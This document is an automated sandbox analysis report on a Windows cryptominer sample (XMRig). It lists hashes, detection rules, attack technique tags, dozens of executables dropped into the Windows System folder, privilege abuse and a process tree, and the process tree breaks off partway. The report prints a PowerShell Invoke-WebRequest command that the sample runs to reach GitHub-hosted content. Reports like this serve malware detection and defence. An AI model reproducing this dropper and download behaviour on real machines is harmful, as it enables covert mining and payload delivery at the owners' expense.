xmrig | 073b2ed5d89fa75537fb15a4d5899b416fd45851aeb04a2f856e6b156dd1aff4

Analysis

max time kernel
151s
max time network
158s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
08/05/2024, 08:43

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe
Size

1.6MB
MD5

31fb8d62ad305a58210ee8ae996e6e10
SHA1

087d81d5544cd3478ea53c25f56227f0a013b52d
SHA256

073b2ed5d89fa75537fb15a4d5899b416fd45851aeb04a2f856e6b156dd1aff4
SHA512

aaaba80677c5c97056a79ea4d526576cd6b3c497dab91ad6a650b999ec377fc8271848b88da0b87983056547f21d43af97b8cb5591fb7d8ca56c6f3302aa0f62
SSDEEP

24576:zv3/fTLF671TilQFG4P5PMkUCCWvLEvj7NaVNqd9OeSZXCdzvd4/iooIXiBLNpcU:Lz071uv4BPMkHC0IaSEzQR4iRlv

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 37 IoCs

miner

resource	yara_rule
behavioral2/memory/5048-108-0x00007FF70B330000-0x00007FF70B722000-memory.dmp	xmrig
behavioral2/memory/2296-110-0x00007FF6736A0000-0x00007FF673A92000-memory.dmp	xmrig
behavioral2/memory/1844-112-0x00007FF766470000-0x00007FF766862000-memory.dmp	xmrig
behavioral2/memory/2576-113-0x00007FF79D4E0000-0x00007FF79D8D2000-memory.dmp	xmrig
behavioral2/memory/2036-111-0x00007FF7DCCE0000-0x00007FF7DD0D2000-memory.dmp	xmrig
behavioral2/memory/3032-109-0x00007FF7B9410000-0x00007FF7B9802000-memory.dmp	xmrig
behavioral2/memory/4912-117-0x00007FF6FFE00000-0x00007FF7001F2000-memory.dmp	xmrig
behavioral2/memory/2344-106-0x00007FF6DC3B0000-0x00007FF6DC7A2000-memory.dmp	xmrig
behavioral2/memory/1448-118-0x00007FF697D10000-0x00007FF698102000-memory.dmp	xmrig
behavioral2/memory/5100-98-0x00007FF7D4630000-0x00007FF7D4A22000-memory.dmp	xmrig
behavioral2/memory/4384-84-0x00007FF7377A0000-0x00007FF737B92000-memory.dmp	xmrig
behavioral2/memory/1264-155-0x00007FF706670000-0x00007FF706A62000-memory.dmp	xmrig
behavioral2/memory/4708-193-0x00007FF7CE740000-0x00007FF7CEB32000-memory.dmp	xmrig
behavioral2/memory/2464-183-0x00007FF71CB50000-0x00007FF71CF42000-memory.dmp	xmrig
behavioral2/memory/1976-165-0x00007FF768770000-0x00007FF768B62000-memory.dmp	xmrig
behavioral2/memory/212-160-0x00007FF6142A0000-0x00007FF614692000-memory.dmp	xmrig
behavioral2/memory/1132-2203-0x00007FF6F39F0000-0x00007FF6F3DE2000-memory.dmp	xmrig
behavioral2/memory/4384-2209-0x00007FF7377A0000-0x00007FF737B92000-memory.dmp	xmrig
behavioral2/memory/5048-2253-0x00007FF70B330000-0x00007FF70B722000-memory.dmp	xmrig
behavioral2/memory/3032-2277-0x00007FF7B9410000-0x00007FF7B9802000-memory.dmp	xmrig
behavioral2/memory/1448-2315-0x00007FF697D10000-0x00007FF698102000-memory.dmp	xmrig
behavioral2/memory/1844-2309-0x00007FF766470000-0x00007FF766862000-memory.dmp	xmrig
behavioral2/memory/2576-2303-0x00007FF79D4E0000-0x00007FF79D8D2000-memory.dmp	xmrig
behavioral2/memory/2036-2296-0x00007FF7DCCE0000-0x00007FF7DD0D2000-memory.dmp	xmrig
behavioral2/memory/2344-2244-0x00007FF6DC3B0000-0x00007FF6DC7A2000-memory.dmp	xmrig
behavioral2/memory/3372-2430-0x00007FF78A300000-0x00007FF78A6F2000-memory.dmp	xmrig
behavioral2/memory/5100-2237-0x00007FF7D4630000-0x00007FF7D4A22000-memory.dmp	xmrig
behavioral2/memory/2212-2202-0x00007FF695980000-0x00007FF695D72000-memory.dmp	xmrig
behavioral2/memory/2332-2201-0x00007FF7CBEA0000-0x00007FF7CC292000-memory.dmp	xmrig
behavioral2/memory/4708-2512-0x00007FF7CE740000-0x00007FF7CEB32000-memory.dmp	xmrig
behavioral2/memory/3196-2515-0x00007FF7F06C0000-0x00007FF7F0AB2000-memory.dmp	xmrig
behavioral2/memory/212-2523-0x00007FF6142A0000-0x00007FF614692000-memory.dmp	xmrig
behavioral2/memory/1264-2527-0x00007FF706670000-0x00007FF706A62000-memory.dmp	xmrig
behavioral2/memory/1976-2526-0x00007FF768770000-0x00007FF768B62000-memory.dmp	xmrig
behavioral2/memory/3804-2525-0x00007FF7B29F0000-0x00007FF7B2DE2000-memory.dmp	xmrig
behavioral2/memory/2464-2524-0x00007FF71CB50000-0x00007FF71CF42000-memory.dmp	xmrig
behavioral2/memory/1096-2517-0x00007FF652480000-0x00007FF652872000-memory.dmp	xmrig

Blocklisted process makes network request 2 IoCs

flow	pid	Process
9	3488	powershell.exe
11	3488	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
3488	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
1568	qGkpjzO.exe
1132	UKYnQrM.exe
2212	ywFFkJt.exe
2332	UHWksVt.exe
4384	xPlWfTr.exe
4912	YdHXdBO.exe
5100	TiyRKej.exe
2344	filjHvv.exe
5048	UZuThRE.exe
3032	rQUdDil.exe
2296	cKHvlZj.exe
2036	wJzmzsB.exe
1844	OotwZLP.exe
2576	zQLnWvb.exe
1448	dnxAHLt.exe
3804	WscttYZ.exe
2796	zymsPxp.exe
1096	VQymbxp.exe
1264	OQeyuep.exe
212	elIrWox.exe
1976	bTujRYQ.exe
3196	IuzWwUX.exe
2464	qehLvFe.exe
4708	LbFNcdO.exe
440	QInSHRZ.exe
3800	mtCsvIS.exe
712	jmVgbHa.exe
3740	wHIyCpZ.exe
2908	NoYvIKO.exe
4928	xzYhLLv.exe
3752	ihvXbgG.exe
3956	TVdduEC.exe
4644	kxpUtDl.exe
2752	XHHQysL.exe
3792	OtgNTOb.exe
808	GKClVOo.exe
2272	ZPlcdjL.exe
552	oSYURaU.exe
5056	PxdrxXl.exe
1668	OWQHCYV.exe
2324	RSjKWqS.exe
644	ADJzXxx.exe
4080	AGaiVRx.exe
2664	ICYqKab.exe
1748	IJoEiwp.exe
4324	tuihtWH.exe
772	HJCDcrY.exe
1268	FtsrmFL.exe
3280	mGJDjMX.exe
452	kwafMmk.exe
5044	qrtjZVu.exe
628	lmslxVj.exe
936	sjURFkQ.exe
5144	FRkfyTA.exe
5172	fRDbVPf.exe
5188	YFCeHcN.exe
5212	YvtkNFw.exe
5256	jzUsxmW.exe
5288	zgqZdGA.exe
5328	HSDyRVU.exe
5352	ljMBcdt.exe
5384	hMXFVOC.exe
5404	UyUuGOf.exe
5444	bqrWyqZ.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/3372-0-0x00007FF78A300000-0x00007FF78A6F2000-memory.dmp	upx
behavioral2/files/0x0007000000023232-7.dat	upx
behavioral2/files/0x0009000000023231-17.dat	upx
behavioral2/memory/2212-24-0x00007FF695980000-0x00007FF695D72000-memory.dmp	upx
behavioral2/memory/2332-30-0x00007FF7CBEA0000-0x00007FF7CC292000-memory.dmp	upx
behavioral2/files/0x0007000000023234-29.dat	upx
behavioral2/files/0x0007000000023234-31.dat	upx
behavioral2/files/0x0007000000023235-40.dat	upx
behavioral2/files/0x0008000000023230-50.dat	upx
behavioral2/files/0x0008000000023236-55.dat	upx
behavioral2/files/0x0008000000023236-56.dat	upx
behavioral2/files/0x0008000000023237-59.dat	upx
behavioral2/files/0x0007000000023239-65.dat	upx
behavioral2/files/0x0007000000023241-105.dat	upx
behavioral2/memory/5048-108-0x00007FF70B330000-0x00007FF70B722000-memory.dmp	upx
behavioral2/memory/2296-110-0x00007FF6736A0000-0x00007FF673A92000-memory.dmp	upx
behavioral2/memory/1844-112-0x00007FF766470000-0x00007FF766862000-memory.dmp	upx
behavioral2/memory/2576-113-0x00007FF79D4E0000-0x00007FF79D8D2000-memory.dmp	upx
behavioral2/memory/1096-115-0x00007FF652480000-0x00007FF652872000-memory.dmp	upx
behavioral2/memory/3804-114-0x00007FF7B29F0000-0x00007FF7B2DE2000-memory.dmp	upx
behavioral2/memory/2036-111-0x00007FF7DCCE0000-0x00007FF7DD0D2000-memory.dmp	upx
behavioral2/memory/3032-109-0x00007FF7B9410000-0x00007FF7B9802000-memory.dmp	upx
behavioral2/memory/4912-117-0x00007FF6FFE00000-0x00007FF7001F2000-memory.dmp	upx
behavioral2/memory/2344-106-0x00007FF6DC3B0000-0x00007FF6DC7A2000-memory.dmp	upx
behavioral2/memory/2796-119-0x00007FF6EA1D0000-0x00007FF6EA5C2000-memory.dmp	upx
behavioral2/memory/1448-118-0x00007FF697D10000-0x00007FF698102000-memory.dmp	upx
behavioral2/files/0x000700000002323f-94.dat	upx
behavioral2/files/0x0007000000023240-103.dat	upx
behavioral2/files/0x000700000002323e-102.dat	upx
behavioral2/files/0x000700000002323c-92.dat	upx
behavioral2/memory/5100-98-0x00007FF7D4630000-0x00007FF7D4A22000-memory.dmp	upx
behavioral2/files/0x000700000002323d-85.dat	upx
behavioral2/memory/4384-84-0x00007FF7377A0000-0x00007FF737B92000-memory.dmp	upx
behavioral2/files/0x000700000002323b-77.dat	upx
behavioral2/files/0x0007000000023235-45.dat	upx
behavioral2/files/0x0007000000023233-23.dat	upx
behavioral2/files/0x0007000000023233-22.dat	upx
behavioral2/memory/1132-19-0x00007FF6F39F0000-0x00007FF6F3DE2000-memory.dmp	upx
behavioral2/files/0x0007000000023232-15.dat	upx
behavioral2/memory/1568-11-0x00007FF73D0B0000-0x00007FF73D4A2000-memory.dmp	upx
behavioral2/files/0x000800000002322c-4.dat	upx
behavioral2/files/0x0007000000023242-120.dat	upx
behavioral2/files/0x0007000000023244-140.dat	upx
behavioral2/memory/1264-155-0x00007FF706670000-0x00007FF706A62000-memory.dmp	upx
behavioral2/files/0x000700000002324c-188.dat	upx
behavioral2/files/0x000700000002324e-195.dat	upx
behavioral2/files/0x000700000002324f-194.dat	upx
behavioral2/memory/4708-193-0x00007FF7CE740000-0x00007FF7CEB32000-memory.dmp	upx
behavioral2/files/0x000700000002324d-192.dat	upx
behavioral2/memory/2464-183-0x00007FF71CB50000-0x00007FF71CF42000-memory.dmp	upx
behavioral2/memory/3196-175-0x00007FF7F06C0000-0x00007FF7F0AB2000-memory.dmp	upx
behavioral2/files/0x000700000002324b-174.dat	upx
behavioral2/files/0x0007000000023249-166.dat	upx
behavioral2/memory/1976-165-0x00007FF768770000-0x00007FF768B62000-memory.dmp	upx
behavioral2/files/0x000700000002324a-167.dat	upx
behavioral2/files/0x0007000000023248-162.dat	upx
behavioral2/memory/212-160-0x00007FF6142A0000-0x00007FF614692000-memory.dmp	upx
behavioral2/files/0x0007000000023246-153.dat	upx
behavioral2/files/0x0007000000023247-149.dat	upx
behavioral2/files/0x0007000000023245-147.dat	upx
behavioral2/files/0x0007000000023243-127.dat	upx
behavioral2/files/0x000700000002323f-122.dat	upx
behavioral2/memory/1132-2203-0x00007FF6F39F0000-0x00007FF6F3DE2000-memory.dmp	upx
behavioral2/memory/4384-2209-0x00007FF7377A0000-0x00007FF737B92000-memory.dmp	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
8	raw.githubusercontent.com
9	raw.githubusercontent.com

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\GEfVlUp.exe	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe
File created	C:\Windows\System\JWASLIP.exe	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe
File created	C:\Windows\System\LNVuwjY.exe	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe
File created	C:\Windows\System\VeHVftL.exe	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe
File created	C:\Windows\System\TQSowBm.exe	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe
File created	C:\Windows\System\NEtyPVy.exe	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe
File created	C:\Windows\System\tgCFmsq.exe	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe
File created	C:\Windows\System\jGcBobd.exe	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe
File created	C:\Windows\System\HJnSeAM.exe	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe
File created	C:\Windows\System\bHAvYqL.exe	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe
File created	C:\Windows\System\nZdNqqU.exe	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe
File created	C:\Windows\System\fKAkqnR.exe	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe
File created	C:\Windows\System\thUntSd.exe	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe
File created	C:\Windows\System\QOLBhoX.exe	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe
File created	C:\Windows\System\dvHgjgs.exe	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe
File created	C:\Windows\System\VwCSaiz.exe	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe
File created	C:\Windows\System\rzeKflV.exe	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe
File created	C:\Windows\System\WNLmYUM.exe	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe
File created	C:\Windows\System\uLPtQEm.exe	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe
File created	C:\Windows\System\bpFKfJE.exe	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe
File created	C:\Windows\System\LbFNcdO.exe	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe
File created	C:\Windows\System\OIedDda.exe	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe
File created	C:\Windows\System\DMKrzJy.exe	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe
File created	C:\Windows\System\PtCQfdI.exe	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe
File created	C:\Windows\System\zaqsaGw.exe	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe
File created	C:\Windows\System\tORkAqy.exe	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe
File created	C:\Windows\System\dGWauAr.exe	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe
File created	C:\Windows\System\HBRfGPC.exe	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe
File created	C:\Windows\System\qCvKsGo.exe	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe
File created	C:\Windows\System\RPpmWub.exe	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe
File created	C:\Windows\System\vsPNaYX.exe	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe
File created	C:\Windows\System\FoBYHtu.exe	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe
File created	C:\Windows\System\fDHSIdX.exe	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe
File created	C:\Windows\System\NOPdLVZ.exe	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe
File created	C:\Windows\System\VcMPuer.exe	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe
File created	C:\Windows\System\QaJctIL.exe	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe
File created	C:\Windows\System\FdAAVpa.exe	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe
File created	C:\Windows\System\EvGIgDs.exe	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe
File created	C:\Windows\System\cLjPQbJ.exe	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe
File created	C:\Windows\System\bFsWpZW.exe	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe
File created	C:\Windows\System\EyoYtSB.exe	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe
File created	C:\Windows\System\WehKRzz.exe	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe
File created	C:\Windows\System\jazYiVB.exe	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe
File created	C:\Windows\System\FdEYGDl.exe	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe
File created	C:\Windows\System\YyWmmiN.exe	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe
File created	C:\Windows\System\Tqmxsjk.exe	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe
File created	C:\Windows\System\rrUYpVi.exe	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe
File created	C:\Windows\System\CqHFrSm.exe	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe
File created	C:\Windows\System\bNqttbb.exe	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe
File created	C:\Windows\System\VDCrDNO.exe	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe
File created	C:\Windows\System\dwGACRW.exe	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe
File created	C:\Windows\System\ijHHzuA.exe	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe
File created	C:\Windows\System\wkpKrjO.exe	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe
File created	C:\Windows\System\UrDoEaj.exe	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe
File created	C:\Windows\System\lYJBQCK.exe	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe
File created	C:\Windows\System\InCawxN.exe	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe
File created	C:\Windows\System\lewTHmK.exe	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe
File created	C:\Windows\System\qgWxNkv.exe	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe
File created	C:\Windows\System\aknrBCc.exe	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe
File created	C:\Windows\System\hlnOHIQ.exe	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe
File created	C:\Windows\System\sgYLrWK.exe	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe
File created	C:\Windows\System\JDEwngi.exe	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe
File created	C:\Windows\System\RqNuKur.exe	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe
File created	C:\Windows\System\gFBSvQk.exe	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	Process not Found
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	Process not Found
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Process not Found

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	Process not Found
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	Process not Found

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
3488	powershell.exe
3488	powershell.exe
3488	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	3372	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe
Token: SeDebugPrivilege	3488	powershell.exe
Token: SeLockMemoryPrivilege	3372	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3372 wrote to memory of 3488	3372	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe	93
PID 3372 wrote to memory of 3488	3372	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe	93
PID 3372 wrote to memory of 1568	3372	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe	94
PID 3372 wrote to memory of 1568	3372	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe	94
PID 3372 wrote to memory of 2212	3372	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe	95
PID 3372 wrote to memory of 2212	3372	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe	95
PID 3372 wrote to memory of 1132	3372	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe	96
PID 3372 wrote to memory of 1132	3372	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe	96
PID 3372 wrote to memory of 2332	3372	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe	97
PID 3372 wrote to memory of 2332	3372	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe	97
PID 3372 wrote to memory of 4384	3372	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe	98
PID 3372 wrote to memory of 4384	3372	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe	98
PID 3372 wrote to memory of 4912	3372	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe	99
PID 3372 wrote to memory of 4912	3372	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe	99
PID 3372 wrote to memory of 5100	3372	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe	100
PID 3372 wrote to memory of 5100	3372	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe	100
PID 3372 wrote to memory of 2344	3372	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe	101
PID 3372 wrote to memory of 2344	3372	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe	101
PID 3372 wrote to memory of 5048	3372	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe	102
PID 3372 wrote to memory of 5048	3372	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe	102
PID 3372 wrote to memory of 3032	3372	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe	103
PID 3372 wrote to memory of 3032	3372	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe	103
PID 3372 wrote to memory of 2296	3372	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe	104
PID 3372 wrote to memory of 2296	3372	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe	104
PID 3372 wrote to memory of 2036	3372	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe	105
PID 3372 wrote to memory of 2036	3372	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe	105
PID 3372 wrote to memory of 1844	3372	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe	106
PID 3372 wrote to memory of 1844	3372	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe	106
PID 3372 wrote to memory of 2576	3372	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe	107
PID 3372 wrote to memory of 2576	3372	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe	107
PID 3372 wrote to memory of 1448	3372	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe	108
PID 3372 wrote to memory of 1448	3372	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe	108
PID 3372 wrote to memory of 3804	3372	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe	109
PID 3372 wrote to memory of 3804	3372	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe	109
PID 3372 wrote to memory of 2796	3372	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe	110
PID 3372 wrote to memory of 2796	3372	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe	110
PID 3372 wrote to memory of 1096	3372	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe	111
PID 3372 wrote to memory of 1096	3372	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe	111
PID 3372 wrote to memory of 1264	3372	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe	112
PID 3372 wrote to memory of 1264	3372	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe	112
PID 3372 wrote to memory of 212	3372	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe	113
PID 3372 wrote to memory of 212	3372	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe	113
PID 3372 wrote to memory of 1976	3372	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe	114
PID 3372 wrote to memory of 1976	3372	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe	114
PID 3372 wrote to memory of 3196	3372	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe	115
PID 3372 wrote to memory of 3196	3372	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe	115
PID 3372 wrote to memory of 2464	3372	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe	116
PID 3372 wrote to memory of 2464	3372	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe	116
PID 3372 wrote to memory of 4708	3372	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe	117
PID 3372 wrote to memory of 4708	3372	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe	117
PID 3372 wrote to memory of 440	3372	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe	118
PID 3372 wrote to memory of 440	3372	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe	118
PID 3372 wrote to memory of 3800	3372	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe	119
PID 3372 wrote to memory of 3800	3372	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe	119
PID 3372 wrote to memory of 712	3372	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe	120
PID 3372 wrote to memory of 712	3372	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe	120
PID 3372 wrote to memory of 3740	3372	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe	121
PID 3372 wrote to memory of 3740	3372	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe	121
PID 3372 wrote to memory of 2908	3372	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe	122
PID 3372 wrote to memory of 2908	3372	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe	122
PID 3372 wrote to memory of 4928	3372	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe	123
PID 3372 wrote to memory of 4928	3372	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe	123
PID 3372 wrote to memory of 3752	3372	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe	124
PID 3372 wrote to memory of 3752	3372	31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe	124

C:\Users\Admin\AppData\Local\Temp\31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe
"C:\Users\Admin\AppData\Local\Temp\31fb8d62ad305a58210ee8ae996e6e10_NEIKI.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3372
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3488
- C:\Windows\System\qGkpjzO.exe
  C:\Windows\System\qGkpjzO.exe
  2⤵
  - Executes dropped EXE
  PID:1568
- C:\Windows\System\ywFFkJt.exe
  C:\Windows\System\ywFFkJt.exe
  2⤵
  - Executes dropped EXE
  PID:2212
- C:\Windows\System\UKYnQrM.exe
  C:\Windows\System\UKYnQrM.exe
  2⤵
  - Executes dropped EXE
  PID:1132
- C:\Windows\System\UHWksVt.exe
  C:\Windows\System\UHWksVt.exe
  2⤵
  - Executes dropped EXE
  PID:2332
- C:\Windows\System\xPlWfTr.exe
  C:\Windows\System\xPlWfTr.exe
  2⤵
  - Executes dropped EXE
  PID:4384
- C:\Windows\System\YdHXdBO.exe
  C:\Windows\System\YdHXdBO.exe
  2⤵
  - Executes dropped EXE
  PID:4912
- C:\Windows\System\TiyRKej.exe
  C:\Windows\System\TiyRKej.exe
  2⤵
  - Executes dropped EXE
  PID:5100
- C:\Windows\System\filjHvv.exe
  C:\Windows\System\filjHvv.exe
  2⤵
  - Executes dropped EXE
  PID:2344
- C:\Windows\System\UZuThRE.exe
  C:\Windows\System\UZuThRE.exe
  2⤵
  - Executes dropped EXE
  PID:5048
- C:\Windows\System\rQUdDil.exe
  C:\Windows\System\rQUdDil.exe
  2⤵
  - Executes dropped EXE
  PID:3032
- C:\Windows\System\cKHvlZj.exe
  C:\Windows\System\cKHvlZj.exe
  2⤵
  - Executes dropped EXE
  PID:2296
- C:\Windows\System\wJzmzsB.exe
  C:\Windows\System\wJzmzsB.exe
  2⤵
  - Executes dropped EXE
  PID:2036
- C:\Windows\System\OotwZLP.exe
  C:\Windows\System\OotwZLP.exe
  2⤵
  - Executes dropped EXE
  PID:1844
- C:\Windows\System\zQLnWvb.exe
  C:\Windows\System\zQLnWvb.exe
  2⤵
  - Executes dropped EXE
  PID:2576
- C:\Windows\System\dnxAHLt.exe
  C:\Windows\System\dnxAHLt.exe
  2⤵
  - Executes dropped EXE
  PID:1448
- C:\Windows\System\WscttYZ.exe
  C:\Windows\System\WscttYZ.exe
  2⤵
  - Executes dropped EXE
  PID:3804
- C:\Windows\System\zymsPxp.exe
  C:\Windows\System\zymsPxp.exe
  2⤵
  - Executes dropped EXE
  PID:2796
- C:\Windows\System\VQymbxp.exe
  C:\Windows\System\VQymbxp.exe
